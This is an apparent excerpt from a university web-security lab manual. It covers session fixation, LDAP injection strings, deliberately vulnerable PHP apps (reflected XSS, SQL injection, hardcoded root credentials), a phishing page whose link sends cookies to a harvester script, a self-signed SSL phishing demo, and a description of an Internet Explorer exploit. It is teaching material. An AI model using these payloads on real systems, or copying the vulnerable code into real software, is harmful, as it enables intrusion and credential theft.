wwwboard that we went to earlier. Click WWWBoard and visit the post by John Smith. If you open his post, then put your mouse over his name highlighted in blue, his e-mail address appears on the browser’s status line (jsmith@spidynamics.com). If you visit the password recovery page and enter his name and e-mail address, you will be able to get his password. The same thing works for his wife, Sarah, who replied to his post. Section 3.12 – Session Fixation When you point your browser to http://172.16.10.17/storecsvs/, you will be redirected to a URL similar to this: http://172.16.10.17/storecsvs/(qzmxcoqnvxnqmvjqphhzk4ip)/Default.aspx The webserver is not allowing you to access a resource until it has issued you a token. ASP.NET’s sessionstate functionality puts that token (qzmxcoqnvxnqmvjqphhzk4ip) into the URL. The vulnerability demonstrated here is that you could make your own token and start using it, because ASP.NET doesn’t properly validate that it created the token. Therefore, you can make your own tokens using an easy formula. Make sure you use azA-Z and that your token is 24 characters long (other lengths are also valid, but this is the easiest example). Below is an example http://172.16.10.17/storecsvs/(ithinkthatmicrosoftrules)/Login.aspx If you visit this page, then click on any of the URLs on the left side of the page, you will notice that the bogus token is perpetuated. In certain web applications, if you manage to trick users into using your token, it may be possible for you to hijack their accounts. Detailed information and examples on how session fixation can be exploited can be found at http://www.securiteam.com/securityreviews/6B00L206AU.html. Section 3.13 – Insufficient Session Expiration If you log in to login.aspx, the application will issue a cookie that contains an authorization token. This token is managed by ASP.NET’s Form Authentication, which is a popular method of handling session management. Due to a misconfiguration, the administrator of this application allows a session to be active for too long. Actually it will 23 be valid for 100000 minutes, or 1666.66 hours. This can give enough time for this information to be cached by a proxy, and possibly exploited by an attacker. It is also noted this application allows issuing a persistent cookie (a cookie saved on your disk) that expires one month from the date you logged in. If a website contains any sensitive information, it should not allow a persistent option. Section 3.14 – LDAP Injection LDAP Injection is very similar to SQL Injection. You modify the query being sent to a server to perform a task not originally intended. On the main page of the portal, click on Contact a site administrator. This will bring you to a form where you can enter a student administrator’s name and receive contact information. An administrator named sfaust currently maintains this portal, so enter “sfaust” into the form field and click Search. The application will return his real name and contact information. The contact information in the LDAP database is stored in sections called cn, mail, and telephonenumber. We will try to obtain sfaust’s phone number only (rather than all his contact information). 1. Click Back (to return to the Student Search Page) 2. In the form field, type the following: sfaust)(|(telephonenumber=*) 3. Click Search. You will see by the response that we managed to return only his phone number. This means we are able to modify the LDAP query to do something other than what was intended. Additional information on modifying LDAP queries can be found in the SPIDynamics LDAP Injection paper at http://www.spidynamics.com/whitepapers.html Section 4: Lab Addition Suggestions You may have noticed that this lab was somewhat introductory and limited to cross site scripting and sql injections. That is because it is still under development. There are many topics related to web security that we want to cover, and by no means is the following list an exhaustive one. However, the list below does specify topics that we would like groups to implement (make like a section in the lab with questions): SSL and secure login (investigating the little lock icon that appears at the bottom of a web page) Windows IIS vulnerabilities A more in-depth example using mysql and php Secure E-commerce example Writing secure dynamic web page code Windows meta-file exploit More detailed cookie threats Java Script/Applet Security Or if you can think of a better addition 24 Appendix A JAVASCRIPT REFERENCE The following is a brief reference of the Javascript language. It is in no means a complete reference and only contains the relevant functions that you need for this lab. A more complete reference can be found at: http://www.w3schools.com/htmldom/default.asp Javascript interfaces with the WC3 DOM (Document Object Model) to refer to all of the components of a web page. The DOM is a platform independent interface that allows many scripting languages to access objects presented in a page. All Javascript code must be contained within <script></script> tags. Two of the most commonly used, high-level objects are: window – Corresponds to the browser window. A window object is created automatically with every instance of a <body> or <frameset> tag. document – Highest level object of the web page. All objects contained within the web page are children of the document object. document.<form name> - Refers to a formed <form_name> The following is a list of functions and properties that you will need to know for this lab: document.write(String text) – Writes a text String to the web page. print(String text) – Same as the document.write() method document.cookie – Reference to the cookie of the web page. This property is a String. window.location.href – Refers to the URL of the web page. This reference is usually used to redirect the client’s browser. This property is a String. To write cookies in Javascript, the document.cookie object is set to a string in the following format: <cookie name>=<cookie value>; expires=<cookie expiration>; path=<path> <cookie name> – refers to the name of the cookie <cookie value> – refers to the value of the cookie <expires> – refers to the time the cookie will expire, specified in GMT format. Use the Date.toGMTString() to properly encode this format. <path> – refers to the path that this cookie is valid for 25 Note: The “expires” field is set to a Javascript Date object. Date objects are created using the new Date() constructor which returns a Date object initialized to the current date and time. The date/time of a date object can be set with the Date.setTime(newTime) method, where newTime is specified in milliseconds. There exist more fields that can be written to the cookie, but these are the important ones you will need for the lab. 26 Appendix B PHP REFERENCE The following is a brief reference of the PHP language. It is in no means a complete reference and only contains the relevant functions that you need for this lab. A more complete reference can be found at: http://www.php.net/manual/en/ PHP is a popular scripting languages that enable developers to make dynamic web pages. Some important points include: - All PHP code must be contained within <?php <php code goes here> ?> tags. A shorthand for this is simply <? <php code goes here> ?>. All variables in PHP are referred to by using the “$” symbol. For example, a variable called foo would be references as $foo. Every line of code in PHP must end with a “;” The following is a list of PHP functions that you will see in the lab: int print ( string arg ) Outputs arg. Returns 1, always. Works without the parenthesis. void echo( string arg ) Same as the print() function resource mysql_connect( server, username, password ) Opens a connection to a mysql database and returns as a resource object a reference to the connection. bool mysql_select_db ( string database_name ) Sets the current active database on the server that’s associated with the specified database name. Every subsequent call to mysql_query() will be made on the active database. resource mysql_query ( string query ) Sends a specified SQL query to the currently active database which is set by mysql_select_db(). Results of the query are returned in a resource object. array mysql_fetch_assoc ( resource result ) Fetch a result row as an associative array. Returns an associative array that corresponds to the fetched row and moves the internal data pointer ahead. bool isset ( mixed var ) Determine whether the specified variable is set (ie if the variable exists). 27 string htmlentities ( string text ) Convert all applicable characters to HTML entities. This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities. The $_GET, $_POST, and $_COOKIE are global PHP arrayvariables that refer to a web requests get, post and cookie variable’s respectively. To get a specific value from each one of these, use the [] notation. Example: $_GET[“foo”] returns the HTTP get variable called foo. HTTP get variables are the same as variables that are passed onto the URL string. 28 Appendix C SQL TUTORIAL Included are excerpts from the w3schools SQL Tutorial. The full text may be found at http://www.w3schools.com/sql/sql_where.asp Reproduced here are the Introduction, SQL The SELECT Statement, SQL The WHERE Clause, and SQL Functions sections. The full SQL language is much more complicated and even these excerpts are more than is strictly necessary to know for this lab. These are provided as a reference and as a launching point for those who want to learn more about SQL. Introduction to SQL SQL is a standard computer language for accessing and manipulating databases. What is SQL? SQL SQL SQL SQL SQL SQL SQL SQL SQL stands for Structured Query Language allows you to access a database is an ANSI standard computer language can execute queries against a database can retrieve data from a database can insert new records in a database can delete records from a database can update records in a database is easy to learn SQL is a Standard - BUT.... SQL is an ANSI (American National Standards Institute) standard computer language for accessing and manipulating database systems. SQL statements are used to retrieve and update data in a database. SQL works with database programs like MS Access, DB2, Informix, MS SQL Server, Oracle, Sybase, etc. Unfortunately, there are many different versions of the SQL language, but to be in compliance with the ANSI standard, they must support the same major keywords in a similar manner (such as SELECT, UPDATE, DELETE, INSERT, WHERE, and others). Note: Most of the SQL database programs also have their own proprietary extensions in addition to the SQL standard! 29 SQL Database Tables A database most often contains one or more tables. Each table is identified by a name (e.g. "Customers" or "Orders"). Tables contain records (rows) with data. Below is an example of a table called "Persons": LastName Hansen Svendson Pettersen FirstName Ola Tove Kari Address Timoteivn 10 Borgvn 23 Storgt 20 City Sandnes Sandnes Stavanger The table above contains three records (one for each person) and four columns (LastName, FirstName, Address, and City). SQL Queries With SQL, we can query a database and have a result set returned. A query like this: SELECT LastName FROM Persons Gives a result set like this: LastName Hansen Svendson Pettersen Note: Some database systems require a semicolon at the end of the SQL statement. We don't use the semicolon in our tutorials. SQL Data Manipulation Language (DML) SQL (Structured Query Language) is a syntax for executing queries. But the SQL language also includes a syntax to update, insert, and delete records. These query and update commands together form the Data Manipulation Language (DML) part of SQL: SELECT - extracts data from a database table UPDATE - updates data in a database table DELETE - deletes data from a database table INSERT INTO - inserts new data into a database table 30 SQL Data Definition Language (DDL) The Data Definition Language (DDL) part of SQL permits database tables to be created or deleted. We can also define indexes (keys), specify links between tables, and impose constraints between database tables. The most important DDL statements in SQL are: CREATE TABLE - creates a new database table ALTER TABLE - alters (changes) a database table DROP TABLE - deletes a database table CREATE INDEX - creates an index (search key) DROP INDEX - deletes an index SQL The SELECT Statement The SELECT Statement The SELECT statement is used to select data from a table. The tabular result is stored in a result table (called the result-set). Syntax SELECT column_name(s) FROM table_name Select Some Columns To select the columns named "LastName" and "FirstName", use a SELECT statement like this: SELECT LastName,FirstName FROM Persons "Persons" table LastName Hansen Svendson Pettersen FirstName Ola Tove Kari Address Timoteivn 10 Borgvn 23 Storgt 20 City Sandnes Sandnes Stavanger Result 31 LastName Hansen Svendson Pettersen FirstName Ola Tove Kari Select All Columns To select all columns from the "Persons" table, use a * symbol instead of column names, like this: SELECT * FROM Persons Result LastName Hansen Svendson Pettersen FirstName Ola Tove Kari Address Timoteivn 10 Borgvn 23 Storgt 20 City Sandnes Sandnes Stavanger The Result Set The result from a SQL query is stored in a result-set. Most database software systems allow navigation of the result set with programming functions, like: MoveTo-First-Record, Get-Record-Content, Move-To-Next-Record, etc. Programming functions like these are not a part of this tutorial. To learn about accessing data with function calls, please visit our ADO tutorial. Semicolon after SQL Statements? Semicolon is the standard way to separate each SQL statement in database systems that allow more than one SQL statement to be executed in the same call to the server. Some SQL tutorials end each SQL statement with a semicolon. Is this necessary? We are using MS Access and SQL Server 2000 and we do not have to put a semicolon after each SQL statement, but some database programs force you to use it. 32 The SELECT DISTINCT Statement The DISTINCT keyword is used to return only distinct (different) values. The SELECT statement returns information from table columns. But what if we only want to select distinct elements? With SQL, all we need to do is to add a DISTINCT keyword to the SELECT statement: Syntax SELECT DISTINCT column_name(s) FROM table_name Using the DISTINCT keyword To select ALL values from the column named "Company" we use a SELECT statement like this: SELECT Company FROM Orders "Orders" table Company Sega W3Schools Trio W3Schools OrderNumber 3412 2312 4678 6798 Result Company Sega W3Schools Trio W3Schools Note that "W3Schools" is listed twice in the result-set. To select only DIFFERENT values from the column named "Company" we use a SELECT DISTINCT statement like this: SELECT DISTINCT Company FROM Orders Result: 33 Company Sega W3Schools Trio Now "W3Schools" is listed only once in the result-set. SQL The WHERE Clause The WHERE clause is used to specify a selection criterion. The WHERE Clause To conditionally select data from a table, a WHERE clause can be added to the SELECT statement. Syntax SELECT column FROM table WHERE column operator value With the WHERE clause, the following operators can be used: Operator = <> > < >= <= BETWEEN LIKE Description Equal Not equal Greater than Less than Greater than or equal Less than or equal Between an inclusive range Search for a pattern Note: In some versions of SQL the <> operator may be written as != Using the WHERE Clause To select only the persons living in the city "Sandnes", we add a WHERE clause to the SELECT statement: 34 SELECT * FROM Persons WHERE City='Sandnes' "Persons" table LastName Hansen Svendson Svendson Pettersen FirstName Ola Tove Stale Kari Address Timoteivn 10 Borgvn 23 Kaivn 18 Storgt 20 City Sandnes Sandnes Sandnes Stavanger Year 1951 1978 1980 1960 FirstName Ola Tove Stale Address Timoteivn 10 Borgvn 23 Kaivn 18 City Sandnes Sandnes Sandnes Year 1951 1978 1980 Result LastName Hansen Svendson Svendson Using Quotes Note that we have used single quotes around the conditional values in the examples. SQL uses single quotes around text values (most database systems will also accept double quotes). Numeric values should not be enclosed in quotes. For text values: This is correct: SELECT * FROM Persons WHERE FirstName='Tove' This is wrong: SELECT * FROM Persons WHERE FirstName=Tove For numeric values: This is correct: SELECT * FROM Persons WHERE Year>1965 This is wrong: SELECT * FROM Persons WHERE Year>'1965' 35 The LIKE Condition The LIKE condition is used to specify a search for a pattern in a column. Syntax SELECT column FROM table WHERE column LIKE pattern A "%" sign can be used to define wildcards (missing letters in the pattern) both before and after the pattern. Using LIKE The following SQL statement will return persons with first names that start with an 'O': SELECT * FROM Persons WHERE FirstName LIKE 'O%' The following SQL statement will return persons with first names that end with an 'a': SELECT * FROM Persons WHERE FirstName LIKE '%a' The following SQL statement will return persons with first names that contain the pattern 'la': SELECT * FROM Persons WHERE FirstName LIKE '%la%' SQL Functions SQL has a lot of built-in functions for counting and calculations. Function Syntax The syntax for built-in SQL functions is: 36 SELECT function(column) FROM table Types of Functions There are several basic types and categories of functions in SQL. The basic types of functions are: Aggregate Functions Scalar functions Aggregate functions Aggregate functions operate against a collection of values, but return a single value. Note: If used among many other expressions in the item list of a SELECT statement, the SELECT must have a GROUP BY clause!! "Persons" table (used in most examples) Name Hansen, Ola Svendson, Tove Pettersen, Kari Age 34 45 19 Aggregate functions in MS Access Function AVG(column) COUNT(column) COUNT(*) FIRST(column) LAST(column) MAX(column) MIN(column) STDEV(column) STDEVP(column) SUM(column) VAR(column) VARP(column) Description Returns the average value of a column Returns the number of rows (without a NULL value) of a column Returns the number of selected rows Returns the value of the first record in a specified field Returns the value of the last record in a specified field Returns the highest value of a column Returns the lowest value of a column Returns the total sum of a column 37 Aggregate functions in SQL Server Function AVG(column) BINARY_CHECKSUM CHECKSUM CHECKSUM_AGG COUNT(column) Description Returns the average value of a column Returns the number of rows (without a NULL value) of a column COUNT(*) Returns the number of selected rows COUNT(DISTINCT column) Returns the number of distinct results FIRST(column) Returns the value of the first record in a specified field (not supported in SQLServer2K) LAST(column) Returns the value of the last record in a specified field (not supported in SQLServer2K) MAX(column) Returns the highest value of a column MIN(column) Returns the lowest value of a column STDEV(column) STDEVP(column) SUM(column) Returns the total sum of a column VAR(column) VARP(column) Scalar functions Scalar functions operate against a single value, and return a single value based on the input value. Useful Scalar Functions in MS Access Function UCASE(c) LCASE(c) MID(c,start[,end]) LEN(c) INSTR(c) Description Converts a field to upper case Converts a field to lower case Extract characters from a text field Returns the length of a text field Returns the numeric position of a named character within a text field LEFT(c,number_of_char) Return the left part of a text field requested RIGHT(c,number_of_char) Return the right part of a text field requested 38 ROUND(c,decimals) MOD(x,y) NOW() FORMAT(c,format) DATEDIFF(d,date1,date2) Rounds a numeric field to the number of decimals specified Returns the remainder of a division operation Returns the current system date Changes the way a field is displayed Used to perform date calculations 39 Appendix D The following is a listing of source code that you will need to take a look at for this lab. File: /ece4112/searchengine/search_results.php <html> <head> <title>ECE4112 Search Results</title> <link rel="stylesheet" type="text/css" href="../common/master.css"/> </head> <body> <strong>Your Search Query Was:</strong><br> <? print $_GET["searchQuery"];?><br/><br/> <a href="search.php">Back to Search Page</a> <table cellspacing="5" width="100%" border="1"> <tr><td><strong>Search Results</strong></td></tr> <tr><td>1. <a href="">PHP Guide - PHP.net</a></td></tr> <tr><td>2. <a href="">PHP Tutorial</a></td></tr> <tr><td>3. <a href="">An Idiots Guide to PHP</a></td></tr> <tr><td>4. <a href="">PHP For Dummies</a></td></tr> <tr><td>5. <a href="">Henry Owens Guide To Writing Secure PHP</a></td></tr> <tr><td>6. <a href="">How to Hack PHP</a></td></tr> </table> </body> </html> 40 File: /ece4112/cookie/login.php <html> <head> <title>ECE4112 Insecure App Login</title> <link rel="stylesheet" type="text/css" href="../common/master.css"/> </head> <script language="Javascript"> function makeCookie(){ pword = document.loginForm.pword.value; username = document.loginForm.username.value; if ((username.length == 0) || (username == "")){ alert("Enter a username!!"); return false; } if ((pword.length == 0) || (pword == "")){ alert("Enter a super secret password!!"); return false; } else{ myDate = new Date(); myDate.setTime(myDate.getTime()+(365*24*60*60*1000)); document.cookie = "superSecretPassword=" + pword+ "; expires=" + myDate.toGMTString() + "; path=/ece4112/cookie"; document.cookie = "username=" + username + ";expires=" + myDate.toGMTString() + "; path=/ece4112/cookie"; return true; } } </script> <body> <strong>Insecure App Login</strong> <form id="loginForm" name="loginForm" method="post" action="welcome.php"> <table width="100%" border="0"> <tr><td><strong>Name:</strong></td></tr> <tr><td> <input type="text" id="username" name="username" maxlength="50"> </td></tr> <tr><td><strong>Super Secret Password:</strong></td></tr> <tr><td> <input name="pword" id="pword" maxlength="20" type="password"> </td></tr> <tr><td> <input type="submit" onclick="javascript:makeCookie();" value="Login"> </td></tr> </table> </form> </body> 41 </html> 42 File: /ece4112/cookie/welcome.php <html> <head> <title>ECE4112 Insecure App Welcome Screen</title> <link rel="stylesheet" type="text/css" href="../common/master.css"/> </head> <body> <script language="Javascript"> function checkCookie(){ var lf = "\n"; var CookieString = document.cookie; var CookieSet = CookieString.split(';'); var SetSize = CookieSet.length; var CookiePieces; var ReturnValue=""; var x = 0; for (x = 0; ((x < SetSize) && (ReturnValue == "")); x++){ CookiePieces = CookieSet[x].split('='); if (CookiePieces[0].substring(0,1) == ' ' ){ CookiePieces[0] = CookiePieces[0].substring(1, CookiePieces[0].length); } if (CookiePieces[0] == "superSecretPassword"){ ReturnValue = CookiePieces[1]; } } return ReturnValue; } if (checkCookie() == ""){ // no cookie found, relocate to login.php window.location.href="login.php"; } </script> <? if (isset($_GET["username"])){ $cur_username = $_GET["username"]; } else if (isset($_POST["username"])){ $cur_username = $_POST["username"]; } else if (isset($_COOKIE["username"])){ $cur_username = $_COOKIE["username"]; } else{ $cur_username = "No Name"; } echo "<strong>LOGIN SUCCESSFULL!</strong><br/><br/>"; echo "<strong>Welcome, ".$cur_username."</strong>"; ?> </body> </html> 43 File: /ece4112/badcookie/badmail.php <? include "../common/web_server_ip.php"; ?> <html> <head> <title>ECE4112 - A Malicious Message</title> <link rel="stylesheet" type="text/css" href="../common/master.css"/> </head> <body> <strong>This is an example of a malicious email that will try to steal your cookie</strong><br/><br/> <table width="100%" cellspacing=5> <tr><td><strong>From: </strong>admin@insecurewebsite.com</td></tr> <tr><td><strong>To: </strong>you@yourself.com</td></tr> <tr><td><strong>Subject: </strong>Please login to the system immediately</td></tr> <tr><td><strong>Body:</strong></td></tr> <tr><td> <p>Dear Valued Customer: Your financial information is out of date. Please click the following link to login to the system. <a href="http://<? echo $web_server_ip; ?>/ece4112/cookie/welcome.php?username=<script>document.location=%22http://<? echo $web_server_ip; ?>/ece4112/badcookie/harvestcookies.php?sucker=%22%20%2Bdocument.cookie;</scrip t>">Login to Website</a> <br/> </p> </td></tr> </table> </body> </html> 44 File: /ece4112/badcookie/harvestcookie.php <? include "../common/web_server_ip.php" ?> <html> <head> <title>ECE4112 Cookie Harvester</title> <link rel="stylesheet" type="text/css" href="../common/master.css"/> </head> <body> <? if (isset($_GET["sucker"]) || isset($GET["sucker2"])){ if (isset($_GET["sucker"])){ $stolenCookie = $_GET["sucker"]; } else if (isset($_GET["sucker2"])){ $stolenCookie = $_GET["sucker2"]; } $cookieParts = split(";",$stolenCookie); $tempPart0 = split("=",$cookieParts[0]); $tempPart1 = split("=",$cookieParts[1]); if ($tempPart0[0] == "superSecretPassword"){ $myPassword = $tempPart0[1]; $myUsername = $tempPart1[1]; } else{ $myPassword = $tempPart1[1]; $myUsername = $tempPart0[1]; } $sql = "INSERT INTO `cookies` (username, password) VALUES ('".$myUsername."','".$myPassword."')"; $myDB = mysql_connect("localhost", "root", "password"); mysql_select_db("ece4112"); $result = mysql_query($sql); mysql_close($myDB); } ?> <script language="Javascript"> <? if (isset($_GET["sucker"])){ print "window.location.href=\""+$web_server_ip+"/ece4112/cookie/welcome.php\""; } else if (isset($_GET["sucker2"])){ print "window.location.href=\""+$web_server_ip+"/ece4112/messageboard/messages.php\"" ; } ?> </script> </body> </html> 45 File: /ece4112/messageboard/messages.php <!--- this is the file that displays all messages in the database ---> <html> <head> <title>ECE4112 Message Board - List Messages</title> <link rel="stylesheet" type="text/css" href="../common/master.css"/> </head> <body> <script language="Javascript"> function checkCookie(){ var lf = "\n"; var CookieString = document.cookie; var CookieSet = CookieString.split(';'); var SetSize = CookieSet.length; var CookiePieces; var ReturnValue=""; var x = 0; for (x = 0; ((x < SetSize) && (ReturnValue == "")); x++){ CookiePieces = CookieSet[x].split('='); if (CookiePieces[0].substring(0,1) == ' ' ){ CookiePieces[0] = CookiePieces[0].substring(1, CookiePieces[0].length); } if (CookiePieces[0] == "superSecretPassword"){ ReturnValue = CookiePieces[1]; } } return ReturnValue; } if (checkCookie() == ""){ // no cookie found, relocate to login.php window.location.href="login.php"; } </script> <? if (isset($_GET["username"])){ $cur_username = $_GET["username"]; } else if (isset($_POST["username"])){ $cur_username = $_POST["username"]; } else if (isset($_COOKIE["username"])){ $cur_username = $_COOKIE["username"]; } else{ $cur_username = "No Name"; } echo "<strong>LOGIN SUCCESSFULL!</strong><br/><br/>"; echo "<strong>Welcome, ".$cur_username."</strong>"; ?> <br><br> <a href="add_message_form.php">Post Message</a><br/> <? $sql = 'SELECT * FROM `messages`'; $myDB = mysql_connect("localhost", "root", "password"); mysql_select_db("ece4112"); 46 $result = mysql_query($sql); echo "<table border=1 width=100%>"; echo "<tr><td><strong>Message Title</strong></td></tr>"; while ($row = mysql_fetch_assoc($result)){ echo "<tr>"; echo "<td><a href=view_message.php?msg_id=" . $row['msg_id'] . ">"; echo $row['title']; echo "</a></td></tr>"; } echo "</table>"; mysql_free_result($result); mysql_close($myDB); ?> </body> </html> 47 File: /ece4112/messageboard/view_message.php <!--- this is the file that lets users view a message with msg_id equal to the url variable msg_id ---> <html> <head> <title>ECE4112 Message Board - View Message</title> <link rel="stylesheet" type="text/css" href="../common/master.css"/> </head> <body> <a href="messages.php">Back to Message Listing</a><br/> <? if (!isset($_GET["msg_id"])){ $cur_msg_id = -1; } else{ $cur_msg_id = $_GET["msg_id"]; } echo "<table width=100% border=0><tr><td colspan=2><strong>View Message</strong></td></tr>"; $sql = 'SELECT * FROM `messages` WHERE `messages`.msg_id = ' . $cur_msg_id; $myDB = mysql_connect("localhost", "root", "password"); mysql_select_db("ece4112"); $result = mysql_query($sql); if (!$result){ die("ERROR: errno=".mysql_errno($myDB)." msg=".mysql_error($myDB)); } $row = mysql_fetch_assoc($result); echo "<tr><td width=20%><strong>Message ID:</strong></td><td>".$row["msg_id"]."</tr>"; echo "<tr><td width=20%><strong>Message Title:</strong></td><td>".$row["title"]."</tr>"; echo "<tr><td colspan=2><strong>Message Body:</strong></td></tr>"; echo "<tr><td colspan=2>".$row["body"]."</td></tr>"; echo "</table>"; mysql_free_result($result); mysql_close($myDB); ?> </body> </html> 48 REFERENCES Champeon, Stevev. "XSS, Trust, and Barney." 27 Apr. 2000. 15 Nov. 2005 <http://webmonkey.wired.com/webmonkey/00/18/index3a.html>. "Cross site scripting." Wikipedia. 15 Nov. 2005 <http://en.wikipedia.org/wiki/Cross_site_scripting>. "HTML DOM Reference." W3Schools. 15 Nov. 2005 <http://www.w3schools.com/htmldom/dom_reference.asp>. "HTTP Cookie." Wikipedia. 15 Nov. 2005 <http://en.wikipedia.org/wiki/HTTP_cookie>. Klein, Amit. "DOM Based Cross Site Scripting or XSS of the Third Kind." 04 July 2005. 15 Nov. 2005 <http://www.webappsec.org/projects/articles/071105.shtml>. L., Montulli, and Kristol D. "RFC 2965: HTTP State Management Mechanism." Oct. 2000. 15 Nov. 2005 <http://www.ietf.org/rfc/rfc2965.txt>. Mangarae, Aelphaeis. "XSS Attacks FAQ." 15 Nov. 2005 <http://astalavista.com/index.php?section=directory&cmd=detail&id=4522>. Ollman, Gunter. "Second-order Code Injection Attacks." 15 Nov. 2005 <http://www.nextgenss.com/papers/SecondOrderCodeInjection.pdf>. "PHP Manual." 15 Nov. 2005 <http://www.php.net/manual/en/>. "The Cross Site Scripting FAQ." May 2005. 15 Nov. 2005 <http://www.cgisecurity.com/articles/xss-faq.shtml>. 49 Appendix E SSL Phishing Background: In computing, phishing is a form of criminal activity using social engineering techniques, characterized by attempts to fraudulently acquire sensitive information, such as passwords and credit card details, by masquerading as a trustworthy person or business in an apparently official electronic communication, such as an email or an instant message. The term phishing arises from the use of increasingly sophisticated lures to "fish" for users' financial information and passwords. [1] Recently some clever phishers have added a new layer of subterfuge called the secure phish. It uses the padlock icon indicating that your browser has established a secure connection to a Web site to lull you into a false sense of security. According to Internet security company SurfControl, phishers have begun to outfit their counterfeit sites with self-generated Secure Sockets Layer certificates. To distinguish an imposter from the genuine article, you should carefully scan the security certificate prompt for a reference to either "a self-issued certificate" or "an unknown certificate authority." [2] Goals: Setup an example to demonstrate the false sense of security that a SSL phishing website can achieve. Configuring Apache For this part of the lab, you will need to make sure you have mod_ssl installed before continuing with this part of the lab. To install: Applications System Settings Add/Remove Applications Under Servers find Web Server Open Details Select mod_ssl Now we need to make a few minor modifications to the default Apache/SSL configuration. Go the Apache configuration directory: NOTE: All the directories in this part of the lab should be correct. If you have trouble finding any specific file, you can use the locate command, but make sure you run updatedb first since we just installed new software. We need to adjust the default virtual host settings # cd /etc/httpd/conf # vi httpd.conf 50 Go to the very bottom (CTRL+F/B in vi for page down/up) of the file and you should see Section 3: Virtual Hosts. You need to modify it to look like this: ----- [BEGIN: httpd.conf] # # Use name-based virtual hosting. # NameVirtualHost *:80 # # VirtualHost example: # <VirtualHost *:80> ServerName www.lawn.gatech.edu DocumentRoot /var/www/html </VirtualHost> ----- [END: httpd.conf] You may notice the www.lawn.gatech.edu. Since we aren’t connected to the Internet in the lab, we have to fake it. Open your /etc/hosts file and add the following entry to the end of the file: # vi /etc/hosts 57.35.6.x www.lawn.gatech.edu Now add a default page to the new VirtualHost: # echo “<?php phpinfo(); ?>” > /var/www/html/index.php Start Apache: # apachectl start At this point, you should be able to open Mozilla Firefox and navigate to http://www.lawn.gatech.edu and you should see the PHP configuration page. If everything works, go ahead and stop Apache then continue: # apachectl stop Generating/Signing SSL Certificates Now before we can setup the SSL virtual host in Apache we have to generate our own certificate and sign it ourselves (since we don’t want to pay for an SSL certificate for each group). 51 # cd /etc/httpd/conf (you should be here already) # mkdir ssl # cd ssl # openssl genrsa –out www.lawn.gatech.edu.key 1024 # chmod 0400 www.lawn.gatech.edu.key # openssl req –new –x509 –nodes –sha1 –days 7 –key www.lawn.gatech.edu.key –out www.lawn.gatech.edu.crt At the prompts, enter the following: Country: US State: Georgia City: Atlanta Organization: Georgia Tech Organizational Unit: Group #x Common Name: www.lawn.gatech.edu Email: <press enter / leave blank> Configuring SSL in Apache Now we have our certificate generated and signed, we can configure the SSL virtual host in Apache. Go to the /etc/httpd/conf.d directory and open the ssl.conf file: # cd /etc/httpd/conf.d # vi ssl.conf You should see a similar section as before. Make the necessary changes so your file looks like this: ----- [BEGIN: ssl.conf] <VirtualHost *:443> # General setup for the virtual host, … DocumentRoot “/var/ww/html” ServerName www.lawn.gatech.edu:443 … # Server Private Key: SSLCertificateFile /etc/httpd/conf/ssl/www.lawn.gatech.edu.crt … # Server Certificate: SSLCertificateKeyFile /etc/httpd/conf/ssl/www.lawn.gatech.edu.key ----- [END: ssl.conf] 52 Start Apache: # apachectl start Demonstrate An Example SSL Phish Attack You need to get the source files for the web pages off the network storage. Mount NAS (refer to previous labs if you are having issues), and copy the Lab9/ssl-phish-example.tgz. # cp /mnt/nas4112/Lab9/ssl-phish-example.tgz # tar –zxvf ssl-phish-example.tgz –C /var/www/html At this point, your Apache should be configured with SSL. Try opening Mozilla Firefox and navigate to https://www.lawn.gatech.edu. Q1.1: What is happening and why the warning message? Q1.2: Do you think the typical user would understand this type of warning message? Why or Why not? Click “Examine Certificate…” and look at the SSL Certificate this is being used. Q1.3 Does the certificate look legitimate to you? Do you think the certificate would look legitimate to the average user? Go ahead and click “Close”. Click “Ok” to accept the certificate for this session only. Now you should see something similar to the “oh-so-familiar” LAWN login page. Notice the security padlock icons in the URL address bar and the lower right-hand corner. Screenshot #1: Take a screenshot of the LAWN login page over an https connection Hover for a second over either of the padlock icons. Q1.4 What does it say? Type in anything you want for the username and password and submit it. Screenshot #2: Take a screenshot of the LAWN login page results This type of attack could be implemented today. Here we’ve simply echoed the user input back to the browser. In a real world attack, the user input is captured (for later use) 53 and then forwarded to the authentic web along with the user input. The user will never see it coming. References [1] http://en.wikipedia.org/wiki/Phishing [2] http://www.schneier.com/blog/archives/2005/12/new_phishing_tr.html 54 Appendix F Internet Explorer JavaScript Window() Remote Code Execution aka "Mismatched Document Object Model Objects Memory Corruption Vulnerability” Microsoft Internet Explorer 6 SP2 6.0.2900.2180 and 6.0.2800.1106, and earlier versions, allows remote attackers to cause a denial of service (crash) and execute arbitrary code via a Javascript BODY onload event that calls the window() function. Attacker may run anything he wishes to run with the privileges of the underlying user. The vulnerability is instigated by IE's failure to correctly initialise the JavaScript "Window()" function, when used in conjunction with a <BODY onload> event. As a result, Internet Explorer encounters an exception when trying to call a dereferenced 32bit address located in ECX, as highlighted by the following line of code: CALL DWORD [ECX+8] Due to the bug, ECX is inadvertently populated by the Unicode representation of a text string named "OBJECT", or more specifically 0x006F005B. As offset 0x006F005B points to an invalid (or non-existent) memory location, Internet Explorer fails to progress, and in turn the end user experiences an application crash (Denial of Service). Therefore, as the bug does not yield control of any internal register and/or points to an offset of which we have no control, the seemingly "low" risk bug clearly reflects the improbable scenario for remote code execution. A closer look at the vulnerability reveals that the instruction is trying to dereference an offset in the range of 0x00600000, which, coincidently, is reserved for the facilitation of all opened Window characteristics on the desktop. These structures vary in both length and content, but in the main, take the form of window titles, buttons, and any File/edit/View menus bars attributable to a particular Window session. Consequently, it is feasible to assume that offset 0x006F005B could be arrived at through the invocation of several large Windows structures, for example circa 12 new web browsing sessions, which would increment 0x00600000 into 0x006F005B. If this were possible, it would just leave the problem of trying to identify a means by which custom shellcode could be inserted via one of Window Elements, and correctly aligned against the called [0x006F005B]. 55 By using a combination of multiple open windows (expanding the memory section), and legal techniques that allow the modification of Window elements (examples below), 3rd party code execution was eventually realised! Examples: 1. Long HTML <TITLE> 2. Long Document file names 3. Large Alert Boxes Unfortunately, all methods tested suffered from one major flaw - inconsistency. The assumption that a potential victim has a clean desktop (no open apps) compounded by the fact that most window elements encompasses some form of content length restriction, result in very small opportunity for any realistic exploitation. Except, for one particular approach......a JavaScript prompt box. By employing a simple technique to invoke multiple occurrences of large JavaScript prompt boxes, it is possible to flood/saturate the remoteness between 0x00600000 0x006F005B ++ with data of our choice, yielding very reliable execution of arbitrary code. Proof of concept code: A proof of concept execution can be found at http://www.computerterrorism.com/research/ie/poc.htm Upon clicking the link on the proof of concept page, a series of event occurs with little disturbance to the user. The link will open a new page, where there exists Javascript prompt box that floods the memory with desired code to execute. 